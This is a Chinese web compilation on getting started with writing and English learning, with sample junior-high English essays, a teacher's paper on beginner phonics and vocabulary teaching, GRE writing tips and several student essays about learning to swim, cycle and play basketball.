初中英语作文入门

“辣椒油甜醋”通过精心收集，向本站投稿了30篇初中英语作文入门，下面是小编为大家整理后的初中英语作文入门，仅供参考，欢迎大家阅读，希望可以帮助到有需要的朋友。

篇1：初中英语作文技巧入门

1、审题：审题是做到切题的第一步。所谓审题就是要看清题意，确定文章的中心思想、主题，并围绕中心思想组织材料。

2、进行构思，列出简单的提纲，打造文章之骨架：审好题、立好意后，就要写提纲，打造文章的骨架。文章布局要做好几件事：安排好层次段落，铺设好过渡，处理好开头和结尾。

3、扩展成文：根据字数多少扩展成篇。扩展的内容一定要紧扣主题，千万不要写那些与主题不相关的内容。展开的方式包括：顺序法、举例法、比较法、对比法、说明法、因果法、推导法、归纳法和下定义等。可以根据需要任选一种或几种方式。

初中英语作文1：The Dragon Boat Festival

Dragon Boat Festival is the traditional day in China, it is on the 5th day of the 5th lunar month. The common activity for different places are dragon boat competition and eating zongzi. In my hometown, there will be the dragon boat competition every year. A lot of teams join this activity and there are full of audiences stand on the river side, wathing and yelling for the teams. It is one fo the biggest matches in my hometown. What’ more, making zongzi is also the tradition. My mother makes the zongzi at this time every year, she told me that she learned it from my grandma and she would teach me in the future.

端午节是中国的传统节日,它在农历5月5日。不同地方的共同活动是龙舟比赛和吃粽子。在我的家乡,每年将会有龙舟比赛。很多团队加入这个活动,有观众站在河边,一边观看，一边为团队助喊呐威。这是我家乡最大的一个比赛。更重要的,做粽子也是传统。我母亲在每年这个时候都会包粽子,她告诉我,她从我奶奶那里学,她将来也会教我。

初中英语作文2：My Idol

When I saw the movie the Pirate of Carribean, I was so attracted by the captain Jack. He was so funny and smart, he made the audience laugh out loudly. The role was played by Johnny Deep, a very handsome and charming man. I like all of Johnny Deep’s movies, he is a good actor, the roles he played have been the classic characters. So many girls are crazy about Captain Jack, they also love Johnny Deep. This charming man has married a beautiful girl. He finally finds his love. I adore Johnny for his irresistible charm, the time hasn’t aged him but only makes him stand out. I will support him all the time.

当我看到《加勒比海盗》这部电影的时候,我被杰克船长所吸引。他是如此有趣和聪明,他让观众大声笑了出来。这个角色是由约翰德普所扮演,他非常的英俊和迷人。我喜欢所有约翰德普的电影,他是一个好演员,他扮演的角色是典型的人物。很多女孩都喜欢杰克船长,他们也喜欢约翰德普。这个迷人的男人娶了一个美丽的女孩。他终于找到他的真爱。我崇拜约翰德普，因为他又不可抗拒的魅力,岁月没有让他变老，只使他更加脱颖而出。我会一直支持他。

初中英语作文3：My Idol

Many years ago, I saw a man running so fast on the 110 meter race, he beat the black men and won the match. His name is Liu Xiang, he is the first Asian man to win the 110 meter race. He is the pride of China. Liu Xiang made many records, he shows to the world that yellow man can win a place in the track and field. I admire Liu Xiang so much, he is my idol. I learn many things from him. When I meet difficulties, I will think about him, I want to be the tough person as him. He makes the good example for me all the time.

许多年前,我看到一个男子在110田径比赛中跑得很快,他击败了黑种人选手,赢得了这场比赛。他的名字叫刘翔,他是第一个赢得110米田径比赛的亚洲人。他是中国的骄傲。刘翔创造了许多记录,他向世界表明,黄种人也能赢得田径比赛。我敬佩刘翔,他是我的偶像。我从他身上学到很多东西。当我遇到困难,我会想起他,我想成为像他一样坚强的人。他一直给我树立了很好的榜样。

篇2：初中英语新教材入门教学

初中英语新教材入门教学

初中英语教学大纲要求通过听、说、读、写的`训练,使学生获得基础知识和初步运用英语进行交际的能力,激发学生的学习兴趣,养成良好的学习习惯,为进一步学习打好基础.能否达到这一要求,关键在于扎扎实实抓好起始阶段的入门教学.下面拟结合我们的教学实践,就如何发挥新编英语教材的优势,把好学生学习英语的启蒙入门关谈些认识与做法.

作 者：杨小琴  作者单位：四川省营山县带河小学 刊 名：新课程（教师版） 英文刊名：XINKECHENG 年，卷(期)：2010 “”(7) 分类号： 关键词： 

篇3：初中英语新课程入门教学 (中学英语教学论文)

初中英语新课程入门教学

内容摘要：本文主要针对初中英语新教材中难度大词汇多，教学中存在 “费时多，收效低”的状况，引起我们对新教材入门教学问题的思索。面对新教材怎样使教师教得轻松学生学得好，笔者认为新教材的入门教学必须把握好“三关”，即如何上第一堂课、如何进行字母教学、如何突破词汇识记，从而大面积提高教学质量。

关键词:入门、思想、习惯、信心、字母拼读、词汇识记

初中英语新教材难度大词汇多，教学中普遍存在着“费时多，收效低”的状况，经常会听到一些英语教师抱怨：教得很辛苦，可学生的成绩就是上不去。同样，学生也在叫苦连天，每天花在英语上的时间最多，最终成绩还是不理想，而且随着年级的升高，越读越没劲，越读越差，学来学去还是“聋哑”英语。笔者认为，决定学生英语成绩好坏最主要的因素是词汇的识记问题。凡是那些很容易地记住词汇的学生，他们的成绩就不会差，也不会对学习英语失去信心。而产生这种状况的原因与教师的入门教学是否成功有着很大的关系，大部分教师往往不太重视英语的入门教学，因而只能收到事倍功半的教学效果。在起始阶段，如果教师能真正做到“师傅领进门，修行在徒弟”，使学生在愉悦轻松的英语氛围中更多的掌握学习英语语言的方法 ，特别是记忆单词的技巧和方法，突破英语词汇关，使之学得轻松，记得牢，学生就会对英语有浓厚的兴趣，随之就会产生巨大的学习动力，教师也就不会被学生的学习成绩上不去而困扰。下面是笔者围绕新课程新理念，结合二十多年的教学经验，谈谈新教材入门教学中的一些实践与探索，与同行、专家共勉。

一、上好第一堂课

笔者认为精心设计、成功上好第一堂课，往往为教师今后的教学打下良好的基础，尤其是对初学英语者显得更为重要。对在小学从未学过英语或略学一点的初一新生，进入初中的第一堂课我总是把它定位为思想教育。它包括：

⒈学习目的性教育

学习目的性是直接推动学生学习动力的内驱力。它决定了学习者的态度、学习努力程度和学习效果。教学中笔者首先向学生进行学习目的性教育，让学生知道英语是世界上使用最广泛的语言，在外贸、外交和国际交流中发挥着重要的作用。世界上一些发达国家如美国、英国、加拿大、澳大利亚等都是讲英语的，我们需要向他们学习先进的技术，这当然需要英语人才；随着我国改革开放的不断深入，三资企业如雨后春笋在祖国大地上兴建起来，这些企业也需要懂英语的专门人才；特别是中国加入了WTO，北京申奥成功，英语变得更加急需。因此，我们不仅要学英语，还要不折不扣地学好英语。真正把学习英语的重要意义融入教学中，这样学生的学习动机和热情才能被激发。

⒉教育学生树立学习必胜的信心

对初一学生来说，大部分学生对英语一知半解，而且都存在不同程度的畏惧心理，因为他们在小学里不是把它当作一门主课来学，并且仅仅是以听说为主，只是靠反复读、跟着说来记英语的。较大部分学生就根本记不住，这样的学习只会给这部分学生造成一种英语难学的心理障碍。因此在第一堂课中，要想方设法消除学生的这种心理障碍，得让他们知道英语只是由26个字母组成的拼音文字，不管是读音还是拼写都是有规律可循的，比起母语---中文更容易学，容易记，而且它的语法也简单，不像中文那么复杂。告诉他们中文学得好，英语也一定学得好，中文学得不好的学生，英语同样也能学好，同时举例说明。如中国（Zhong Guo），其读音与书写完全没有关系，在小学一年级时，老师先教你们汉语拼音，后教书写笔顺，课后再要你们读、抄，直到记住为止。而英语就不一样，中国（China）它的音是根据字母拼读出来的，/ /（教师拼读一遍）；又如eat（吃），seat（座位），meat（肉），sea（大海），tea（茶），mean（意为）这些单词中的字母组合ea，字母t，s，m发音都相同。接着教师把这些单词拼读一遍，让学生注意听，辨别是否这样。以此告诉学生只要你能读这个单词，也就基本上写得出这个单词，不像中文既要记读音，又要记书写。这就等于教育学生在即将开始的英语学习中要重视语音的学习，突破语音关，也就突破了识记词汇关，真正使学生树立英语学习必胜的信心。

3．学习习惯教育

良好的学习习惯一旦形成，学生的学习就会始终处于积极主动的状态，形成良性循环。学习习惯是学生以行为表现其对学习的认识和态度，对学习活动有稳定的直接作用，良好的学习习惯还有助于学生追求更高的学习目标，在新的情境中还会发生有效迁移，学习效率高。事实表明：学习成绩不良者，往往也是学习习惯不良者，而那些学习得好，能力又强的学生又恰恰是学习习惯较好的学生，是学习习惯造就了他们。当然学习习惯的培养要从学生进校的第一节课开始。因此笔者在第一堂课中就向学生提出严格的要求：要求学生培养自己良好的听课习惯和良好的作业习惯；制定学生听课制度。如：课前准备好学习用品，静候老师，以确保课堂教学时间。上课听讲专心，积极动口、动脑，认真做好听课笔记。特别要强调学英语要在“勤”字上下功夫，养成规范的习惯，即勤于动脑思考的习惯，勤于动笔记录的习惯，勤于开口“说话”的习惯，勤于多问多听的习惯，勤于课外阅读、巩固、自觉运用语言的习惯。对于学生的课内外作业、操练都有明确的规范要求，要求学生严格重视老师布置的课外要求（主要是背诵、识记方面的要求）。在英语教学中，它比书面作业更重要，同时也要及时独立完成书面作业，杜绝抄袭现象。要使学生真正明确课外要求和书面作业都是为了巩固所学知识，检查掌握知识的情况，便于及时查漏补缺，而不是向老师“交差”，不能把课外要求不当一回事。所有这些要求让全体学生及时明了、清楚，便于在以后的学习中学生知道应做到什么，重视什么，注意什么。使一些纪律、制度、规范随着时间的推移慢慢就成了学生学习的习惯，从而促进学生学习质量的提高。

二、重视字母教学

26个字母学得怎样，直接影响学生以后的单词记忆。笔者在教26个字母时把教学的重心放在字母的拼读上，如果接到的初一新生已经在小学学过点英语，也要重新教学26个字母的拼读，归纳一下26个字母中的元音字母和辅音字母，讲解一些最简单的字母和字母组合的发音规律。如：辅音字母在单词中的发音变化比较少，而且大部分辅音字母在单词中的发音就是去掉本音中的元音，如b /bi：/，d /di：/，p /pi：/，v /vi：/，t /ti：/在单词中的发音只要去掉元音/i：/，l /el/，s /es/，m /em/，x /eks/在单词中的发音只要去掉元音/e/音。而元音字母在单词中的发音变化较多，在重读音节中常发本身或短音，在非重读音节中发/ i /或/ /。如：map /m p/，name /neim/，student /stju：d nt/，cup /k p/（教师把这些单词拼读一遍）。这样的起始教学，使学生在以后的英语词汇学习中，容易记住读音，而且根据字母读出的单词，那拼写也就很难忘记。

三、突破词汇教学识记难关

词汇是语言的三大要素之一，是语言的基本材料，也是衡量英语水平的重要标准之一。学好英语的关键之一是掌握一定的词汇量，英语词汇又是学习英语的基础。有一位语法学家曾说过，写文章或发表议论就像修房子，词汇就像建筑材料，语法就像建筑技术。如果没有材料，建筑者的技术再好，也无法施展。从这个比方可以看出，词汇在学习英语过程中的重要性，因此如何教学和学习词汇历来是国内外学术界所研究的重要课题。在初一新生中，很快就出现不少学生掉队，不愿学英语的现象，这往往都是从起始阶段记不住词汇开始逐渐形成的。况且，我国的基础教育课程正在全面推进，英语新课程改革方向之一就是继续扩大词汇量。如何紧跟英语新课程改革潮流，把握好英语入门阶段的词汇教学，使学生识记词汇既快又牢是我们每个英语教育工作者都必须面临的问题。下面介绍笔者在初一入门阶段词汇识记教学中的具体做法。

1．音、形结合法

英语教学实践证明，三年看头年，初一是基础，语音是核心，要学好英语，首先要突破语音关，让学生多积累一些拼读规则是突破语音关的关键，尽管英语单词难记易忘，但它与任何事物一样都有其内在的规律性。根据专家的研究，英语单词尽管读音和拼写形式上是两套符号，但90%以上在音、形之间是统一的，有规则的。英语毕竟是拼音文字，一般只要读出单词的正确发音，掌握一定的拼读规则，许多单词就很容易拼写出来。现在的初中教材中的词汇大部分都是有规律可循的，如BOOK1中基本上都是拼读规则有规律的词。因此，笔者在教学词汇中，从字母入手，在学生了解辅音字母在单词中的发音的基础上，再讲解归纳元音字母及常见的一些字母组合在单词中的发音，根据字母拼读单词。这样既能帮助学生记忆单词的读音，又能帮助学生记住了单词的拼写。比如：在教name时，给学生讲解什么叫开音节，元音字母在开音节中发本身音，即a发/ei/，e发/i:/，i发/ai/，o发/ /，u发/ju:/。学生掌握了这个规则后，就会很容易地读出plane、cake、grade、face 。对于像go、no、home、those、nose，bike 、five 、nine nice等词，不用费什么劲就记住了。又如在教bag时，给学生讲解什么叫闭音节，元音字母在重读闭音节中发短音，即a发/ /，e发/e/，i发/i/，o发/ /，u发/ /。学生掌握了这个规律就很容易会读、会写map、and、cat、dad，red、pen、egg、desk，it、is、this、big，not、dog、on、of及cup、but、up、bus 等等，另外还有一条发音规则，如果o之后跟的是m、n、v、th，o可以读/ /，根据这条规则学生就不会把some、brother、come、mother、love等单词中的o写成u，又如教meet时，告诉学生ee读/i:/，同时也告诉他们初中教材中凡含有字母组合ee的单词都读/i:/，这样对于see、sheep、sweet、feed、need、sleep等词，以后碰到，教师不教，学生也会读，也会写。用音、形结合的方法教学词汇，不仅使学生在记住单词的同时，也记住了单词的拼写。

2.形象记忆法

对初学英语者来说，有些语音不规则的单词确实很难记住，有时记住了它的读音和拼写而词义很难与这个词挂起钩来，这就需要教师动动脑筋，利用单词的形象性引导学生把单词简单化，可减少记忆的负担。比如笔者在教eye时向学生风趣地说，这里两个e就像你的两只眼睛，y就像你的鼻子，把它们合起来就是eye（眼睛）。对容易混淆的词汇，如in hospital和in the hospital学生总是分不清哪个是“住院”哪个是“在医院”，笔者用数字相等的形象化教学，即两字对两字（in hospital-住院）、三字对三字（in the hospital-在医院）的记忆。又如 教mouse时，就说鼠标像老鼠，这样学生就很容易地记住mouse的两个中文意思（鼠标、老鼠）。这种方法使枯燥乏味的单词教学和单词记忆变得生动有趣，使学生自然而然地把形、义结合在一起识记词汇，既形象又生动，这样教学效果就会更好。

3.直观教学法

实物是最直观的教具之一，它能唤起学生的注意力，而且一目了然，无需费解之惑。Book1中的大部分单词都可以用实物、图片、多媒体进行直观教学，如笔者常用实物来教学习用品：eraser、box、pen…，常用图片来教表示动物的词：cat、bird、dog、mouse…，用多媒体给图片着色的方法教colours：yellow、red、blue…，对一些动词的教学，笔者利用动作配合教学。这种直观的教学法建立了单词与所表示的词义之间的直接联系，使教学真实形象，给学生留下了深刻的印象，不易忘记。

4.温故而知新法

英语单词越学越多，易混淆。笔者在教学新词汇时总是利用旧词汇来引出，使学生在学习新词的同时又复习了旧词，起到了温故而知新的教学效果。其常用的方法有以下几种：

1）读音相同或相似法。如 no-know、there-thire、here-hear、I--eye、…。

2）反义词法。如 boy-girl、old-new、big--small、…

3）归类法。如 词性、学习用品、交通工具归类…

4）单词接龙法。如pen-no-orange-egg-girl-like-eleven-name-eye…

5）游戏竞猜法

在英语词汇教学中加入适当的游戏，有利于营造轻松和谐的课堂气氛，寓教于乐，达到落实、巩固词汇的目的，这种游戏竞猜法符合初一学生的年龄特点，也最能唤起学生的注意力，激发他们的学习兴趣，达到教学效果。游戏竞猜是词汇教学中最常用的一种方法。如笔者在教学学习用品时，把学习用品放在书包里，先是教师“Touch and guess”，然后让学生“Touch and guess”，同时开展“Play games”，表演好的给予奖励，这种词汇教学不仅使学生无意识中记住了单词，同时也大大激发了学生的学习兴趣。

6）整体教学法

学生学词汇的目的是为了以后的写文章和阅读文章，学会口、笔头表达英语的能力，否则学英语又有何用呢？所以词汇教学绝对不能孤立地教学，或者利用词汇表机械地教学，这是万万不可取的。笔者在几十年的教学中，对初一学生的词汇教学，每教一个单词都是用句子来呈现的，有时把要学的几个有联系的词组成一段文章或对话来呈现，刚开始时学生是很难接受，但久而久之学生的知识扩大了，同时也培养了学生的听力，这种教学方法不仅使学生了解了这些词的真正含义和用法，而且也为以后的学习作了铺垫。如教mouth nose ear head face hair 时，笔者先把这些词组成一段文章：This is a good girl ．She is a round face、a small nose and two big eyes．On her head，she has long、black hair．She is really nice．Can you guess who she is？同时配合多媒体教学手段进行教学，使学生的学习目标得到了深化。

以上是笔者在新教材入门教学中的一些实践与探索，当然在实际的操作中还制定了一系列的督促机制。如充分利用小助手的作用，让学生当老师，建立自我管理档案，每节课后布置识记要求及任务型练习，把学习目的性教育，良好习惯培养，激发和保持学生学习英语兴趣，贯穿整个教学的始终，取得了比较好的教学效果。如2004-2005第一学期笔者所任教的两个普通班（已抽出一些好的学生），在市期终抽出中均量值、A等率、平均分都名列全县第一。

总之，作为初中英语教师要把握好学生学习英语的入门关，既要正确认识学生的心理特点，培养学生良好的学习情绪，激发学习兴趣，又要恰当地运用学生心理的心灵教法，使学生在和谐、宽松的环境下学习，只有这样，教学效果才能更加有效，“聋哑”英语才能变“聪”，全面提高素质教育之目的---教是为了以后的不教。

篇4：入门

入门

入门rù mén[释义]

①（动）（～儿）得到门径；初步学会。工作刚～。（作谓语）

②（动）指初级读物（多用做书名）。

[构成]  动宾式：入｜门

篇5：入门作文600字

外公说要教我骑自行车。

那是一个风和日丽的下午，在楼下的花园里，外公推来一辆自行车。我一见到便迫不及待地爬上去，本以为双脚还可以像往常一样稳稳地站在地上，结果一坐上去就发现双脚悬在空中了，我双手紧紧抓着车把，想让车子保持平衡，但是车子还是东一晃，西一歪，差点摔到一旁的草丛里。我慌了，使出吃奶的力气，狠狠地把车头向右一扳，脚踩到了地面，这才放下心来。回头看看外公，“你来扶我一下吧！”有外公扶着车把，我才敢重新上车，然后慢慢转动踏板，试着让车动起来。我的手一直在抖，手心全是汗，紧张地凝视地面，只要微微向一旁倾斜，便大叫：“停停停！”用一只脚踩着地，抹把汗再继续骑。外公见了，笑着说：“不要看地上，抬起头，看前面。”我照着他的话做了，果然浑身轻松了许多。

突然，我感到速度比刚才快了许多，有点轻飘飘的，好像要飞起来了。这时外公也累了，说：“你自己骑会儿，我休息一下。”我又开始慌了，眼看要栽进草丛，使劲扳住把手，往边上一靠，踩住地，才松口气。咦！找不到那种飞的感觉了。“快来扶我呐！”我尴尬地在那边大叫。外公听了马上跑过来，手一搭住我的车，我又找到骑车的感觉了，可是不出一会儿，他又偷偷放手了。就这样，一扶一放的，起初，我有些害怕，渐渐的，也习惯了。最后，不用外公扶着，自己也可以骑出一段路了。这时候，一看天色，时间不早了，便散了。

几天后，我都可以骑着自行车绕着花园跑了。看来骑车也是熟能生巧，但也离不开平衡的技巧：比如老盯着车头会摔倒，还有车要有速度才能保持平衡。水滴石穿，只要日积月累地练习，功到自然成了！

篇6：入门作文400字

1、借鉴习作：背诵是完全不可靠的方法，因此借鉴仅局限于：结构、论证手法、观点和词汇本身。

2、练习写作：这才是根本，有句老掉牙的话对于写作永远是真理： 量变必然带来质变 。下面重点探讨这一环节的执行：

如何练习：强烈推荐 枪手速成训练法 。很简单，最好选用PP2光盘，选择Timed Writing Assessment，然后把选择任意一个测试，别管他的题目，在下面写自己练习的那个作文，ISSUE对ISSUE，ARGUMENT对ARGUMENT，一次75分钟连续练习两篇，写完后，系统会让你浏览自己的习作，用鼠标拖下自己的习作，先选择一篇然后右击鼠标，选择 复制 ，然后回word文档检查拼写语法，然后回来点击刚才的试题重新进入选择review,将另一篇也依法拖下来即可。如此训练必然可以养成一身在规定时间内写作的过硬本领。为什么要用PP2，不用PP3呢?因为PP3中取消了单独的作文计时测试，只有在计算机模考中与Verbal, Quantitative一起进行，这样必须在写好每篇作文收卷之前先复制好，然后中间退出粘贴，再进入选择Resume继续下一篇，再在收卷之前复制粘贴，否则你必须将另外其后的两个Verbal, Quantitative部分全搞定了才能看到自己习作的样本，中间又不能退出这两个部分，费时不必要，所以尽量用PP2保证 模考式写作 ，实在不行，就委屈用PP3按上述步骤麻烦一下操作了!

篇7：入门作文400字

GRE作文的表达性

1.ISSUE作文的表达性：表达就是要学会展开，如何展开论证是个复杂不定的问题，所谓文无定法，说的就是这个问题，因而在这里完全靠的就是两个字实力。我很抱歉的对大家提出这两个不中用的字，但是作文的确并非我以前论述的GRE阅读那样熟悉了套路就往上钻，在前面的十字路口悠闲地逮他，这里我们要做的只有两条来提高

掌握展开表达的常见6种武器：例证，因果，对比，对照，定义，分类。这里注意，对比说的是找出不同点，对照是找共同点。掌握好这六种武器对于GRE的ISSUE论证也就足已。

熟读背诵美国作家的这种论证题材的社科类论文，潜移默化的接受美国西方式的论证思维。这里实在时间紧，强力推荐孙远著《GRE写作宝典》中末尾的写作工具箱，凡是黑体字部分，没得商量，全背!这是最小量的负担了，我还背过《西方哲学史》，《西方文明史》呢，但是背完后，你的作文再也不是从前的那种婴儿式了，你一定不会后悔的。背，是免不了的!!!

2.ARGUMENT作文的表达性：掌握逻辑谬误七宗罪

Implicit causal claim:假性因果，另有他因

False analogy：错误类比

All things are equal:过去推将来，局部推广域

篇8：入门作文400字

今天在常人看来只是一个普通的日子，对我就非同一般了，因为今天我要第一次去尝试游泳的滋味。

一到白鹭金滩游泳馆，映入眼帘的是一个蓝的像海一样美的游泳池，让我不禁向往起来，想象着自己在游泳池里如同鱼儿一样欢腾的样子……信心十足的我跟着教练兴奋地做好热身运动后，兴致勃勃地下到了水里。呀！好凉的水！过了好一会儿，我才适应了这冰凉的水。我两手抓着扶栏，跳跃了几下，感觉真有趣，水轻柔地缠绕着我，好舒服。

教练开始教我们第一个动作——屏气。经过教练的一番讲解之后，我有点听懂了。我试着把头扎进水中，可惜没成功，还呛水了，感觉鼻子酸酸的，好难受。我不灰心，继续练，练到第四次的时候，我终于成功了！我很高兴，因为我终于迈出了游泳道路上的第一步！

回到家里，妈妈端来一盆清水，我和妈妈比赛屏气，结果我以3秒的优势赢了妈妈。啊！我终于学会了游泳的“入门篇”——屏气潜水，心里别提有多高兴啦！

就这样，我开始喜欢上了游泳。

篇9：入门作文400字

20xx年10月14日，崇文实验学校一年一度的艺术节沙龙活动又开始了，这次我参加的沙龙是太极艺术。这次太极艺术请来了一位崇文同学的爷爷——刘建平爷爷，他算是位大师了。有大师助阵，沙龙就更有趣了。

太极，有的同学认为，太极是用来防身的；有的同学认为用来养身健体的……参加沙龙的同学几乎把太极的所有用处都说尽了。刘爷爷很高兴大家能知道这么多关于太极的知识。

刘爷爷带领大家在操场上练习太极。当时烈日当空，可各位太极爱好者却一点也没有放弃，认真地跟着刘爷爷操练。练过几遍，还有几位同学上主席台为大家表演，勇气可佳！活动结束，大家都很感谢刘爷爷，还有位一年级的小同学一拱手，大声说：“师傅，我回去会好好练习的！”

除了“太极艺术”，还有K歌、摄影、车模、皮影等27个各具特色的沙龙，而每天清晨、午间的街头艺术沙龙，更是夺人眼球。有架子鼓的，有小提琴的，有笛子的，有手风琴的……各种美妙的音乐组合在一起，谱出崇文人的多才多艺和对生活的热爱来！

最后，预祝艺术节活动顺利开展！

篇10：入门作文300字

虽然我没有到非常正规的游泳班学过游泳，但是游泳于我，也不是太难的事儿。

不知怎么的，大概是有些人天生水性比较好吧。幼儿园的时候，我去学游泳，教练先让我们练习憋气，我至少可以憋二十五秒，最多的时候可以憋四十几秒。然后，教练让我们练习蛙泳的基本动作。她用手托着我们的肚子，让我们的身体浮起来，感受这种浮起来的力量。然后，又让我们手脚并用，像青蛙一样扑腾，就可以让自己游起来。不一会儿，这节课就结束了。

第二天，第三天？我和妈妈一起在游泳池里游泳。换气、掉头等动作我都练得灵活自如了，憋气也可以憋超过一分钟了。有一次，我和妈妈比赛短距离游泳，我的速度竟然可以超过妈妈了呢！后来，少泳校老师到幼儿园选拔游泳的小朋友，我也被选上了，只是爸爸妈妈没有让我去。

狗刨式、仰泳，这些妈妈不会的游泳方法我都无师自通，妈妈说以后会让我去正规的游泳学习班再学习一下。

游泳入门，这对有些人可能很难，但是对我，却非常简单。

篇11：入门作文300字

在七岁时，我接触到了篮球这项运动，在那时，我就对篮球表现出了极大的热爱，一直嚷嚷着要去学篮球，可是妈妈说我已经学羽毛球了，而且入门了，再学篮球会运动过度的，我也很无奈，只能边看电视边学，虽然那些球员水平非同一般，可毕竟我还只是个一点基础都没有的凡人啊！所以我每次看球赛都如同看天书一般。

十岁时的一个偶然机会，使我放弃了羽毛球而进了篮球班，刚进班，我就借助多年看球而积累起来的经验，再加上熟悉正式的比赛规则完成了升班，可在强手如林的“狂野西部”我就占不到任何便宜了，我只好一步步的从运球学起，再到后来的跨下、转身、背后……在老师的辅导下，我加强了技术，提高了速度，还和炜程哥一起练习准心投篮，重点训练一个十分重要的技能——中距离跳投，经过训练，中距离跳投成为了我的看家本领，百发百中，我的球技也迅速提升。

在我们组织的比赛中我还打进过不少神仙球，还进过两个三分绝杀呢！这下，我就成了球场上的吉祥物，别人都说“独木难支”，可是每次四个队友都不强时，我就让他们拉开，一个人单打，两三个变向就过掉了，这样你知道我入门后强大的实力了吧！

我的篮球入门十分迅速，而且很容易，我相信我以后能走得更远。

篇12：低年级浅谈入门作文

低年级浅谈入门作文

一、展开想象，引入意境

教《狐狸和乌鸦》一文时，我先出示课件，用形象而美丽的动画感染学生，打动学生，丰富学生的想象，使之有身临其境之感。接着，两人一组练习直接对话，再让学生戴上头饰上讲台进行即兴表演，使学生在心理和情感上都获得愉快的享受。然后，充分利用学生已被激起的情绪，进行拓展练习：以狐狸叼起肉走回洞里为开头，续编故事。这时，一石激起千层浪，学生们积极思考，踊跃发言。最后，乘着东风，让他们把刚才说的加以整理写下来。有的写狐狸改正了错误，有的写狐狸变说好话为骂乌鸦使之生气又骗到了肉，有的写乌鸦用石头当肉反过来骗狐狸，有的写乌鸦告戒自己及自己的孩子千万要记住这个教训看了他们的习作，真是令人忍俊不禁。

二、联系生活，创设情景

有一次，上课铃响后，我刚走近教室，就听见里面热闹非凡，就连眼保健操的广播响起都未能使教室安静下来。我灵机一动，干脆晚点进教室，等他们尽情地闹一闹。过一会儿，我一手撑腰，一手使劲地锤脑袋，还不停地咳嗽、呕吐，一副病态走进教室。刚一进去，教室里立即安静下来，目光都投向了我。于是，我发话了：请同学们把刚才的情景写下来，并提示：上课铃响后，你干了什么？说了什么？同学们在干什么？说什么？老师进来后，老师的表情如何？你是怎么想的？又是怎么做的？这样，他们有话可写，写出了真话，表出了真情。

三、抓住情景，引导观察

小学低年级作文入门教学，往往是从观察训练起步的，而根据我的体会，开始对小学生进行观察训练时，切莫要求学生眼观六路，耳听八方，而要尽可能把观察范围缩小，引导学生具体观察一个事物。只有集中精力眼观一路，才能观察透彻，作时才有话可写。为此，我还经常抓住突发事情，引导他们进行观察。如有一次上着上着语文课，忽然，校外响起了噼里啪啦的鞭炮声，这震耳欲聋的声音使得人无法上课。小朋友也热闹起来，有的站起来向窗外望去，有的大叫，有的用手蒙住耳朵我呢，也就顺水推舟，抓住机会，利用此情此景，引导学生观察当时的.情景，并提出要求，回家写一篇观察日记。结果大部分学生写得较好。有个学生是这样写的：我想起了星期五上语文课发生的事情，心里挺烦的。为什么烦呢？因为老师正讲得起劲，我们听得正有趣的时候，忽然，外面噼里啪啦地响起了好大的鞭炮声，老师讲不成课了，我们听不成课了，老师生气地坐在椅子上。同学们有的叫起来：吵死啦！有的捂住耳朵。我呢，也捂住耳朵，瞪大着眼睛观察同学们。鞭炮声响了好久，终于停下来了。刚可以上课，下课铃又响了！唉！我们真倒霉！

通观孩子们的习作片段，虽然非常稚气，但入门作文能写出这个样，已很令人高兴了。

篇13：入门作文600字

入门作文600字

“八年级第一学期就要结束了，你英语还没入门啊！”英语老师指着我30分的英语试卷，无奈地摇了摇头。“除了英语，这孩子各科成绩都还行。你帮他找找学习英语的窍门吧？”班主任摸了摸我的头，眼神恳切地望着英语老师。

从那天起，我成了英语老师的“入门弟子”，她常把我叫到办公室里给我辅导英语。

老师从七年级学的音标开始教我。我盯着她的口型，一一模仿；我指着书上的.音标，逐个辨认。虽然枯燥，可看着老师期待的眼神，我还是努力练习。那一个星期，每天晚饭后的20分钟英语必读时间，我都是嚼着那些音标度过的。嚼着嚼着。我发现了辅音字母的发音规则，寻找到了元音字母的发音规律。我竭尽全力地读音标，拼单词，猛然间醒悟：将长音节进行适当划分，让音标对应相关字母，记起单词来就快捷多了。我仿佛找到了记单词的诀窍，欣喜地和英语老师分享。老师笑道：“孺子可教也！”

放寒假了，老师建议我归类整理七、八年级的英语单词、词组、语法。我和老师沟通，整理时将单词、词组“两线同步走”。一条线：把单词、词组分成学习用具类、竞技活动类、食品类等，分组记忆。另一条线：整理名词单数变复数、形容词的比较级和最高级、动词过去式等。虽然任务量大，但是初尝英语学习甜头的我，用一个月的时间认真地写了满满两大本笔记。这期间，我隔一周就去请教老师一次。老师用心地帮我检查、修正，还时不时地针对固定词组、词语特殊用法、词形变化等。帮我添加批注。我积累了大量词汇，掌握了英语语法的规律，找到了英语学习的金钥匙。老师在表扬我勤奋、聪明的同时，要求我必须坚持勤于总结的好习惯。我一直到现在都没有忘记老师的叮嘱。

再后来，老师鼓励我加强听力训练，借给我前几个学期用的听力磁带。我一天天地听、跟读，耳朵对英语逐渐有了感觉，口语也顺溜了不少。听从老师的建议，我利用周末休息的时间看英文影片如《The Graduate》（《毕业生》）、《King Arthur》（《亚瑟王》）、《Forest Gump》（《阿甘正传》）、《Sleepless in Seattle》（《西雅图不眠夜》）等，刚开始看时，电影里的英文对白，我听起来一片混沌。我盯着中文的字幕，仔细揣摩人物对话，有时候干脆闭上眼睛，一边听人物对白，一边想象电影里的故事情节。

就这样，我一点点地走进了英语的世界。这一路摸索，我终于找到了学习英语的方法，一点点地进步着，就像英语老师说的，我终于入了门。

篇14：入门作文600字

一中的史老师有一个作文班，因妈妈想让我的作文进步，所以才办的，与此同时，妈妈又找来了几个人学写作文。

妈妈共招了六个人参加了这个作文班，有张倩语、柴嘉宾、袁博、李琦、孙悦、我。由于孙悦和李琦刚学两天就不学了，所以，现在的作文半只剩下了四个人。我们都是中年级的学生，所以，我们成为朋友很容易。

写作入门班在一种的女舍楼内，楼前有各种各样的花，有美人蕉、绣球花……让人目不暇接。

我们的老师50多岁，长着黑里带白的、蓬乱的卷发。耳朵稍大，但眼镜片小，它长着络腮胡子，高鼻梁，可真像是个老顽童。

老师的.爱好又很多，拉琴、画画、写作、剪纸、收藏都是他的最爱。

他的写作水平在大城子镇是数一数二，他从开始工作，几乎每天都要写一篇文章，日积月累，写的作文整整21本。这是，我才明白，老师的作文水平是从这二十一本作文中得到的呀！怪不得写得那么好。

老师的教学方法主要有三个字：“观、讲、评。”先说说这“观”字吧：写作文之前，老师先让我们看好一种东西的形状、颜色，再闻好它的味道，就可以说这个“讲”字了：我们写作文，老师在前面讲应该怎么写这种东西，不是还在黑板上写几个恰当的词让我们用。写完后，“评”字也就上场了：史老师的评法和别的老师不一样，别的老师都是不读出声来，自己默默地评，而老师却把作文度的声音很大，让大家一起评，共同找一篇作文的缺点。

